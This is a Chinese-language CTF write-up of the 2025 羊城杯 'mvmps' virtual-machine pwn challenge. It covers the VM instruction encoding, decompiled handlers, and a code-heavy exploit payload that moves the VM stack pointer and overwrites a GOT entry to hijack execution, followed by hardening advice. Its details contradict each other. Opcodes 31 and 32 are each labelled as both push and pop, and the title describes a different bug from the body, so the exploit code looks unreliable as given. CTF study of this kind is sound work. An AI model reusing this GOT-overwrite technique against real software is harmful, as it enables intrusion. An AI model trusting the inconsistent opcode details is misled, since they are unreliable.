2025羊城杯mvmps详解 || read写入溢出修改code类型
字数 760 2025-12-19 12:10:12

2025羊城杯mvmps虚拟机漏洞利用详解

题目概述

mvmps是一道基于自定义虚拟机实现的PWN题目,考察对虚拟机指令集的理解和漏洞利用能力。题目涉及栈溢出、GOT表劫持等技术点。

虚拟机架构分析

检查安全机制

➜➜ Cands checksec vvmm
[*] '/home/ziran/Desktop/1011/Cands/vvmm'
 Arch: amd64-64-little
 RELRO: Partial RELRO
 Stack: No canary found
 NX: NX enabled
 PIE: No PIE (0x400000)
 SHSTK: Enabled
 IBT: Enabled

关键安全特性:

  • 无PIE:代码段地址固定
  • 无栈保护:可进行栈溢出
  • 部分RELRO:GOT表可写

虚拟机指令系统

虚拟机支持4种指令类型,通过最低2位标识:

类型0指令(最低两位00)

# 栈指针减
code(0, opcode_high=36, operand1=0x100)  # 栈指针减0x100

# 栈指针加  
code(0, opcode_high=37, operand1=0x80)   # 栈指针加0x80

# 状态加载
code(0, opcode_high=59, operand1=0)      # 状态加载操作

# 内存操作
code(0, opcode_high=51, operand1=0x200)  # 内存操作(调用sub_4014AF)

# 栈操作
code(0, opcode_high=48, operand1=0x40)   # 复杂栈操作

类型1指令(最低两位01)

# 寄存器加1
code(1, opcode_high=33, operand1=1)      # 寄存器1加1

# 寄存器减1  
code(1, opcode_high=34, operand1=2)      # 寄存器2减1

# 栈操作(出栈)
code(1, opcode_high=31, operand1=3)      # 出栈到寄存器3

# 栈操作(入栈)
code(1, opcode_high=32, operand1=4)      # 寄存器4入栈

# 条件操作
code(1, opcode_high=43, operand1=0)      # 如果状态=2则执行操作

类型2指令(最低两位10)

# 寄存器加法
code(2, opcode_high=10, operand1=2, operand2=3)  # reg2 += reg3

# 寄存器赋值
code(2, opcode_high=3, operand1=1, operand2=0)   # reg1 = reg0

# 寄存器比较(无符号)
code(2, opcode_high=1, operand1=4, operand2=5)   # 比较reg4和reg5(无符号)

# 内存读取(字节)
code(2, opcode_high=12, operand1=6, operand2=7)  # reg6 = mem[reg7] (byte)

# 内存写入(双字)
code(2, opcode_high=17, operand1=0, operand2=1)  # mem[reg0] = reg1 (dword)

类型3指令(最低两位11)

# 寄存器赋值(立即数)
code(3, opcode_high=3, operand1=0, operand2=0x4000)    # reg0 = 0x4000

# 寄存器加法(立即数)  
code(3, opcode_high=10, operand1=1, operand2=0x100)    # reg1 += 0x100

# 内存读取(立即数偏移)
code(3, opcode_high=14, operand1=2, operand2=0x200)    # reg2 = mem[基地址+0x200]

# 内存写入(立即数)
code(3, opcode_high=17, operand1=0, operand2=0xdeadbeef) # mem[reg0] = 0xdeadbeef

# 寄存器比较(立即数)
code(3, opcode_high=1, operand1=3, operand2=0x1000)    # 比较reg3和0x1000(无符号)

关键指令实现细节

栈指针调整

case '$':
    *(_QWORD *)(a1 + 64) -= (unsigned int)(4 * *(_DWORD *)(a2 + 4));
    // code(0, opcode_high=36, operand1=0x100) 实际减0x400

case '%':
    *(_QWORD *)(a1 + 64) += (unsigned int)(4 * *(_DWORD *)(a2 + 4));  
    // code(0, opcode_high=37, operand1=0x80) 实际加0x200

注意:操作数会乘以4倍,这是关键的计算细节。

寄存器操作

case 35:
    *(_QWORD *)(a1 + 8 * (*(unsigned int *)(a2 + 4) + 2LL)) = *(_QWORD *)(a1 + 64);
    // code(1, opcode_high=35, operand1=0) # reg0 = SP

case 32:
    *(_QWORD *)(a1 + 8 * (*(unsigned int *)(a2 + 4) + 2LL)) = *(unsigned int *)(*(_QWORD *)a1 + *(_QWORD *)(a1 + 64));
    *(_QWORD *)(a1 + 64) += 4LL;
    // code(1, opcode_high=32, operand1=1) # reg1 = pop()

内存布局分析

虚拟机寄存器存储区域(0x407280开始):

50:0280│ 0x407280 ◂◂— 0          # 寄存器区域开始
...
54:02a0│ 0x4072a0 —▸▸ 0x4050a0   # 当前指令指针
55:02a8│ 0x4072a8 ◂◂— 4          # 指令字节计数
56:02b0│ 0x4072b0 ◂◂— 0          # 寄存器存储值
57:02b8│ 0x4072b8 ◂◂— 0          # 寄存器存储值
...
5c:02e0│ 0x4072e0 ◂◂— 0x1000     # 栈指针索引

漏洞利用技术

漏洞点分析

1. 栈溢出漏洞

通过精心构造的虚拟机指令序列,可以实现栈溢出:

# 调整栈指针创造溢出条件
payload = code(0, opcode_high=36, operand1=0x100)  # 栈指针减0x400
payload += code(0, opcode_high=36, operand1=0x100)  # 栈指针减0x400  
payload += code(0, opcode_high=36, operand1=0x100)  # 栈指针减0x400
payload += code(0, opcode_high=36, operand1=0x100)  # 栈指针减0x400
payload += code(0, opcode_high=36, operand1=0x20)   # 栈指针减0x80

2. GOT表劫持

利用内存写入指令修改GOT表:

# 关键的内存写入指令
code(2, opcode_high=17, operand1=值寄存器, operand2=地址寄存器)
# 效果: mem[基地址 + 地址寄存器值] = 值寄存器值 (32位)

利用步骤

第一步:寄存器初始化

# 设置寄存器值为特定数值
code(3, opcode_high=3, operand1=0, operand2=0x123456)

第二步:栈指针调整

# 多次调整栈指针创造溢出条件
adjustments = [
    code(0, opcode_high=36, operand1=0x100),
    code(0, opcode_high=36, operand1=0x100), 
    code(0, opcode_high=36, operand1=0x100),
    code(0, opcode_high=36, operand1=0x100),
    code(0, opcode_high=36, operand1=0x20)
]

第三步:读取内存到寄存器

# 将栈上数据读取到寄存器
code(1, opcode_high=32, operand1=1)  # 出栈到寄存器1

第四步:GOT表修改

# 修改GOT表项,劫持控制流
code(3, opcode_high=6, operand1=1, operand2=0xFF000000)  # 寄存器1高位操作
code(3, opcode_high=5, operand1=1, operand2=0xcebd43)     # 寄存器1低位操作

第五步:触发漏洞

# 通过栈操作触发执行流劫持
code(0, opcode_high=36, operand1=0x2)      # 栈指针调整
code(3, opcode_high=3, operand1=2, operand2=0x402AFA)  # 设置寄存器2
code(1, opcode_high=31, operand1=2)        # 寄存器2入栈触发

完整利用代码框架

def exploit():
    # 初始化寄存器
    payload = code(3, opcode_high=3, operand1=0, operand2=0x123456)
    
    # 栈指针调整创造溢出条件
    adjustments = [
        code(0, opcode_high=36, operand1=0x100),
        code(0, opcode_high=36, operand1=0x100),
        code(0, opcode_high=36, operand1=0x100),
        code(0, opcode_high=36, operand1=0x100),
        code(0, opcode_high=36, operand1=0x20)
    ]
    payload += b''.join(adjustments)
    
    # 内存读取操作
    payload += code(1, opcode_high=32, operand1=1)
    
    # GOT表修改
    payload += code(3, opcode_high=6, operand1=1, operand2=0xFF000000)
    payload += code(3, opcode_high=5, operand1=1, operand2=0xcebd43)
    
    # 触发执行流劫持
    payload += code(0, opcode_high=36, operand1=0x2)
    payload += code(3, opcode_high=3, operand1=2, operand2=0x402AFA)
    payload += code(1, opcode_high=31, operand1=2)
    
    return payload

技术要点总结

  1. 指令编码理解:必须清楚每种指令类型的编码格式和操作数处理方式
  2. 栈指针操作:注意操作数会乘以4倍的细节,这是精确控制的关键
  3. 内存布局:理解虚拟机内存结构和寄存器存储方式
  4. GOT劫持:利用部分RELRO特性,通过内存写入指令修改GOT表
  5. 执行流控制:结合栈操作和寄存器操作实现精确的控制流劫持

防御建议

  1. 启用完整RELRO:防止GOT表被修改
  2. 栈保护机制:启用栈保护防止栈溢出
  3. 地址随机化:启用PIE增加利用难度
  4. 指令验证:虚拟机应加强对指令合法性的验证

这份文档详细分析了mvmps虚拟机的指令系统、漏洞原理和利用技术,为理解和解决此类虚拟机PWN题目提供了完整的技术参考。

2025羊城杯mvmps虚拟机漏洞利用详解 题目概述 mvmps是一道基于自定义虚拟机实现的PWN题目,考察对虚拟机指令集的理解和漏洞利用能力。题目涉及栈溢出、GOT表劫持等技术点。 虚拟机架构分析 检查安全机制 关键安全特性: 无PIE:代码段地址固定 无栈保护:可进行栈溢出 部分RELRO:GOT表可写 虚拟机指令系统 虚拟机支持4种指令类型,通过最低2位标识: 类型0指令(最低两位00) 类型1指令(最低两位01) 类型2指令(最低两位10) 类型3指令(最低两位11) 关键指令实现细节 栈指针调整 注意 :操作数会乘以4倍,这是关键的计算细节。 寄存器操作 内存布局分析 虚拟机寄存器存储区域(0x407280开始): 漏洞利用技术 漏洞点分析 1. 栈溢出漏洞 通过精心构造的虚拟机指令序列,可以实现栈溢出: 2. GOT表劫持 利用内存写入指令修改GOT表: 利用步骤 第一步:寄存器初始化 第二步:栈指针调整 第三步:读取内存到寄存器 第四步:GOT表修改 第五步:触发漏洞 完整利用代码框架 技术要点总结 指令编码理解 :必须清楚每种指令类型的编码格式和操作数处理方式 栈指针操作 :注意操作数会乘以4倍的细节,这是精确控制的关键 内存布局 :理解虚拟机内存结构和寄存器存储方式 GOT劫持 :利用部分RELRO特性,通过内存写入指令修改GOT表 执行流控制 :结合栈操作和寄存器操作实现精确的控制流劫持 防御建议 启用完整RELRO :防止GOT表被修改 栈保护机制 :启用栈保护防止栈溢出 地址随机化 :启用PIE增加利用难度 指令验证 :虚拟机应加强对指令合法性的验证 这份文档详细分析了mvmps虚拟机的指令系统、漏洞原理和利用技术,为理解和解决此类虚拟机PWN题目提供了完整的技术参考。